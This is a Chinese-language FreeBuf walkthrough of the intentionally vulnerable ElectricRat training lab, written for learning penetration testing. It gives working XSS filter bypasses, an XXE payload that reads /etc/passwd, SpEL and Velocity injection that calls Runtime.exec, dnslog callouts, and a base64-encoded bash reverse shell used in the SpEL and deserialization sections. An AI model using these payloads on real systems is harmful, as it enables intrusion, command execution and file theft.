freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[张三的渗透日记]电气鼠靶场系统靶场walkthrough
雨下整夜 2023-02-24 14:37:36 216725
所属地 四川省

前言

手上最近也没有什么有意思的洞可以记录,正好在群里看到了en0th师傅新写的靶场,所以来写半篇walkthrough吧(本来想全写出来的,但是篇幅实在太长了,今天就先把我看的这几个模块写出来,后面来看要不要把余下部分补上)

靶场介绍和搭建环境

项目简介:

电气鼠靶场系统是一种带有漏洞的Web应用程序,旨在为Web安全渗透测试学习者提供学习和实践的机会。靶场系统包含了各种常见的Web安全漏洞,例如SQL注入、跨站脚本攻击、文件包含漏洞、代码注入漏洞等等,以帮助学习者熟悉和掌握这些漏洞的原理和实际利用方法。

具体内容移步github项目地址:https://github.com/linjiananallnt/ElectricRat

环境搭建:

作者推荐利用docker来搭建环境

unzip ElectricRat-docker.zip
sudo docker-compose up -d
sudo docker exec electricrat-mysql /bin/bash -c 'cd /data && mysqladmin -u root -pAAsd123rdsgA create mycms && mysqladmin -u root -pAAsd123rdsgA create mycms_gbk && mysql -u root -pAAsd123rdsgA -Dmycms < dump-mycms-202302201704.sql && mysql -u root -pAAsd123rdsgA -Dmycms_gbk < dump-mycms_gbk-202302201704.sql'

然后访问地址:http://xxx:12666/ElectricRat/index.html
图片.png

walkthrough

xss跨站脚本

反射型XSS(GET)

即触发点参数用GET方式传参

过滤: 无

payload:<img src='1' onerror=alert('雨下整夜')>

图片.png

反射性XSS(POST)

即触发点参数用POST方式传参

过滤: 无

payload:<img src='1' onerror=alert('雨下整夜')>!图片.png

存储型XSS

过滤: 无

payload:<img src='1' onerror=alert('雨下整夜')>

图片.png

DOMxSS

过滤: 无

payload:<img src='1' onerror=alert('雨下整夜')>

图片.png

DOMxSS-x

过滤: 无

payload:<img src='1' onerror=alert('雨下整夜')>

图片.png

XSS盲打

盲打其实是我们渗透测试中利用XSS的一种常见攻击手法

简单说一下本靶场这里的功能点:这里是模拟了一个留言板的功能,攻击者可以利用留言板存在的存储型XSS漏洞来攻击到查看留言板的后台管理员

图片.png

图片.png

XSS之过滤

function submitText(){
      let content = $("#own-text")[0].value.replaceAll("<script",'');
      $("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么,就算是:" + content)
    }

过滤: <script

payload:<img src='1' onerror=alert('雨下整夜')>

图片.png

XSS之转义实体编码

function submitText(){
      let content = htmlEncode($("#own-text")[0].value);
      $("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么,就算是:<input type='text' value='" + content + "'>")
    }
    function htmlEncode(str) {
      let s = "";
      if (str.length === 0) {
        return "";
      }
      s = str.replace(/&/g, "&amp;");
      s = s.replace(/</g, "&lt;");
      s = s.replace(/>/g, "&gt;");
      s = s.replace(/ /g, " ");
      s = s.replace(/\'/g, "'");//IE下不支持实体名称
      s = s.replace(/\"/g, "&quot;");
      return s;
    }

过滤: &,<,>, ,"(仔细看上面的代码,就会发现'这个点的问题依然存在,所以利用单引号这个点来绕过)

payload:'OnClick='alert(/雨下整夜/)'

图片.png

XSS之href输出

function submitText(){
      let content = $("#own-text")[0].value;
      $("#notice")[0].innerHTML = generateNote("我不在乎你输入的是什么,就算是:<a href=" + content + "' style=\"" + "color: cornflowerblue;" + "\">这是个单纯的链接</a>")
    }

此处简单来讲就是要学习在构造XSSpayload的时候的闭合思想,此处用尖括号构造前后闭合就好。

过滤: 无。

payload:123><img src =1 onerror=confirm(/雨下整夜/)><

图片.png

XSS之js输出

function submitText(){
      let content = $("#own-text")[0].value;
      let oScript = document.createElement('script');
      oScript.type = 'text/javascript';
      oScript.text = `let num = '${content}'; num += "1";`;
      let notice_dom = $("#notice")[0];
      notice_dom.innerHTML = generateNote("我不在乎你输入的是什么,就算是:" + content)
      notice_dom.appendChild(oScript)
    }

这里对此submitText函数做一个分析

let content = $("#own-text")[0].value;

$("#")这种一般是使用JQuery库,是JQuery选择器的一种,#号是ID选择器,此处就是赋予变量content值为此处输出框输入的值

图片.png

let oScript = document.createElement('script');
  oScript.type = 'text/javascript';
  oScript.text = `let num = '${content}'; num += "1";`;

document.createElement这个方法是动态创造一个html元素,所以这里是让新建变量oScript为一个新建的JavaScript脚本,

其内容为let num = '${content}'; num += "1";

let notice_dom = $("#notice")[0];
  notice_dom.innerHTML = generateNote("我不在乎你输入的是什么,就算是:" + content)
  notice_dom.appendChild(oScript)

这里也很简单,第一点是这个innerHtML是我们输入的content,第二点就是赋予id='notice'的这个oScript部分的内容,也就是上面我们可以部分控制的动态生产的JS代码

图片.png

payload1(innerHTML):<img src=1 onerror=confirm(/雨下整夜/)>

图片.png

payload2(oScript):';alert(/雨下整夜/);</script>//

这里居然没成功,然后我查看了一下此段JavaScript代码,发现语法是没问题的。

图片.png

然后将此段JavaScript本地拿到html测试验证,发现确实没问题,可以正常执行。

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>JStest</title>
</head>
<body>
<script type="text/javascript">let num = '';alert(/雨下整夜/);</script>//'; num += "1";</script>
</body>
</html>

图片.png

那这里payload2失败的原因是什么呢? 这里应该就是此段动态生成的js并没有执行

URL重定向

靶场漏洞点利用

图片.png

这里就比较直接了,用的是window.location.href方法,直接输入跳转的url即可发生跳转,不过呢,此处的功能点可能与实际环境中的漏洞存在功能点相差较大。不太方便了解什么是URL重定向漏洞。

所以在这里简单谈谈URL重定向漏洞

个人观点在学习URL重定向漏洞时需要注意的主要是以下两点。

1.知道这个漏洞是如何造成危害的。主要是钓鱼页面利用

2.知道这个漏洞的可能存在功能点。例如 : 内容分享功能、登录成功跳转

总的来说漏洞挖掘时需要注意所有URL参数输入点,以及所有跳转功能点。

XXE实体注入

关于XXE漏洞基础,网上有很多文章

比如这篇:https://blog.csdn.net/qq_45300786/article/details/108433752

靶场漏洞点利用

可以先来看看源码和提示部分

程序接收到XML文件解析后,尝试获取了doc.getElementsByTagName("username")doc.getElementsByTagName("password")

处理完成后会返回我们设定的 username 内容。result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username)

如果我们传入的 username 需要先进行实体导入数据呢?尝试XXE攻击吧!

public void readXML(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String result="";
        try {
            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
            DocumentBuilder db = dbf.newDocumentBuilder();
            InputStream ist = request.getInputStream();
            Document doc = db.parse(ist);
            String username = doc.getElementsByTagName("username").item(0).getTextContent();
            String password = doc.getElementsByTagName("password").item(0).getTextContent();
            int isLogin = username.equals("admin") && password.equals("123456") ? 1 : 0;
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",isLogin,username);
        } catch (Exception e) {
            e.printStackTrace();
            result = String.format("<result><code>%d</code><msg>%s</msg></result>",3,e.getMessage());
        }
        response.setContentType("text/xml;charset=UTF-8");
        response.getWriter().append(result);
    }

那么很明显就直接在此处的username进行XML注入即可

payload

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe1 SYSTEM "file:///etc/passwd">
]>
<yxzy>
<username>&xxe1;</username>
<password>&xxe1;</password>
</yxzy>

图片.png

SpEL表达式注入

概述

图片.png

想起来经典的一个漏洞,whitelabel error page SpEL RCE,关于这个漏洞网上有很多复现和分析。简单来讲就是spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中,此时 URL 中的参数值会用 parseStringValue 方法进行递归解析,其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞

还是来简单看看Servlet部分代码

public class SpelServlet extends BaseServlet {
    public void spelView(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        String apply = request.getHeader("apply");
//        String spel = "T(java.lang.Runtime).getRuntime().exec("calc")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression expression = parser.parseExpression(apply);
        System.out.println(expression.getValue().toString());
        response.getWriter().append(expression.getValue().toString());
    }
}

简单来讲这里直接就对apply参数给拿到SpEL解析器SpelExpressionParser.parseExpression中进行解析了。

尝试靶场漏洞点利用

payload1:2*2

图片.png

payload2:T(java.lang.Runtime).getRuntime().exec("calc")

简单说明一下,T(java.lang.Runtime)可以指定使用的java.lang.Runtime这个类方法,也就是能getRuntime().exec()来用于调用系统命令

使用payload2的时候会发现页面响应500,此处应是由于出现bash: calc: command not found报错,所以没有返回值

图片.png

图片.png

payload3:T(java.lang.Runtime).getRuntime().exec("whoami")

Process[pid=xxxx, exitValue="xxxx"]就是直接打印的getRuntime().exec(),所以可以知道这里SpEL解析器到getRuntime().exec()是解析成功了的

图片.png

payload4:T(java.lang.Runtime).getRuntime().exec("bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'")

这里我发现通过intruder大量发包,会有部分的response的exitValue是正常的,但是我的反弹shell却依然没有成功,此处留个坑

图片.png

payload5:T(java.lang.Runtime).getRuntime().exec("ping zxo5b9.dnslog.cn")

注:因为docker环境是默认不带ping命令的,payload5执行前先为靶机安装ping命令

docker exec -it electricrat-ewb /bin/bash
apt-get update
apt-get install inetutils-ping -y

图片.png

SSTI模板注入

还是简单来看看代码部分

velocity是一个基于java的模板引擎,可以通过特定的语法获取在java对象的数据,填充到模板中,从而实现界面和Java的分离。

public void showTemple(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        // #set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")
        // #set+($exp+=+"exp");$exp.getClass().forName("java.lang.Runtime").getRuntime().exec("calc");
        String template = request.getParameter("template");
        //初始化velocity引擎
        Velocity.init();
        //创建velocity容器
        VelocityContext context = new VelocityContext();
        //创建StringWriter实例对象
        StringWriter sw = new StringWriter();
        //生成模板实例
        Velocity.evaluate(context, sw, "test", template);
    }

靶场漏洞点利用

payload:#set($e="e") $e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("ping 7m6z1d.dnslog.cn")

图片.png

图片.png

JAVA反序列化

JAVA反序列化基概述

这里作者师傅写的比较详细了,直接贴出原图

图片.png

简单看看这里的执行流程

//src/main/java/com/pika/electricrat/serialize/SerializeServlet.java
package com.pika.electricrat.serialize;

import com.pika.electricrat.serialize.po.UserSerializeEntity;
import com.pika.electricrat.web.servlet.BaseServlet;
import jakarta.servlet.*;
import jakarta.servlet.http.*;
import jakarta.servlet.annotation.*;

import java.io.*;
import java.util.Base64;


@WebServlet("/serializeAction/*")
public class SerializeServlet extends BaseServlet {

    public void serializeView(HttpServletRequest request, HttpServletResponse response){
        response.setContentType("text/plan;charset=utf-8");
        try {
            Cookie hasCookie = checkCookie(request);
            if (hasCookie != null){
                if (hasCookie.getValue().equals("deleteMe")){
                    response.getWriter().append("请更新 Cookie rememberMe 并进行请求。");
                    return;
                }
                byte[] decode = Base64.getDecoder().decode(hasCookie.getValue());

                ByteArrayInputStream bytes = new ByteArrayInputStream(decode);
                ObjectInputStream in = new ObjectInputStream(bytes);
                Object o = in.readObject();
                response.getWriter().append(((UserSerializeEntity)o).getRes());
                in.close();
            } else {
                response.getWriter().append("请携带 Cookie rememberMe 进行请求。");
            }
        } catch (Exception e){
            e.printStackTrace();
            response.setStatus(500);
        }
    }

    public void deserialize(HttpServletRequest request, HttpServletResponse response) throws IOException {
        response.setContentType("text/plan;charset=utf-8");
        String cmd = request.getParameter("cmd");
        ServletOutputStream out = response.getOutputStream();
        UserSerializeEntity entity = new UserSerializeEntity();
        entity.setCmd(cmd!=null?cmd:"whoami");
        ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
        ObjectOutputStream oo = new ObjectOutputStream(outputStream);
        oo.writeObject(entity);
        byte[] res = Base64.getEncoder().encode(outputStream.toByteArray());
        out.write(res);
    }

    public void getRememberMe(HttpServletRequest request, HttpServletResponse response) {
        Cookie hasCookie = checkCookie(request);
        if (hasCookie != null)return;
        Cookie cookie = new Cookie("rememberMe", "deleteMe");
        cookie.setPath("/");
        response.addCookie(cookie);
    }

    public void setRememberMe(HttpServletRequest request, HttpServletResponse response) {
        String obj = request.getParameter("obj");
        Cookie hasCookie = checkCookie(request);
        if (hasCookie != null){
            hasCookie.setValue(obj);
            response.addCookie(hasCookie);
        }
    }

    public Cookie checkCookie(HttpServletRequest request){
        Cookie[] cookies = request.getCookies();
        if(cookies != null && cookies.length > 0){
            for (Cookie i : cookies) {
                System.out.println(i.getName());
                if (i.getName().equals("rememberMe") && i.getValue() != null && i.getValue().length() > 0) {
                    return i;
                } else {
                    return null;
                }
            }
        }
        return null;
    }
}

从此文件简单看来,反序列化流程链大致:getRemeberMe->deserialize->setRememberMe->serializeView

靶场漏洞点利用

payload:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIwLjYvMTIzNCAwPiYx}|{base64,-d}|{bash,-i}'

图片.png

# 漏洞 # 渗透测试 # web安全 # 漏洞分析 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 雨下整夜 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
张三的渗透日记
雨下整夜 LV.3
网络安全从业者,渗透测试、代码审计
  • 5 文章数
  • 7 关注者
[张三的渗透日记]一次多变量突破防护的XSS
2023-04-07
[张三的渗透日记]浅谈移动端渗透测试抓包方法
2023-01-14
[张三的渗透日记]记一次API未授权访问漏洞挖掘
2023-01-11
文章目录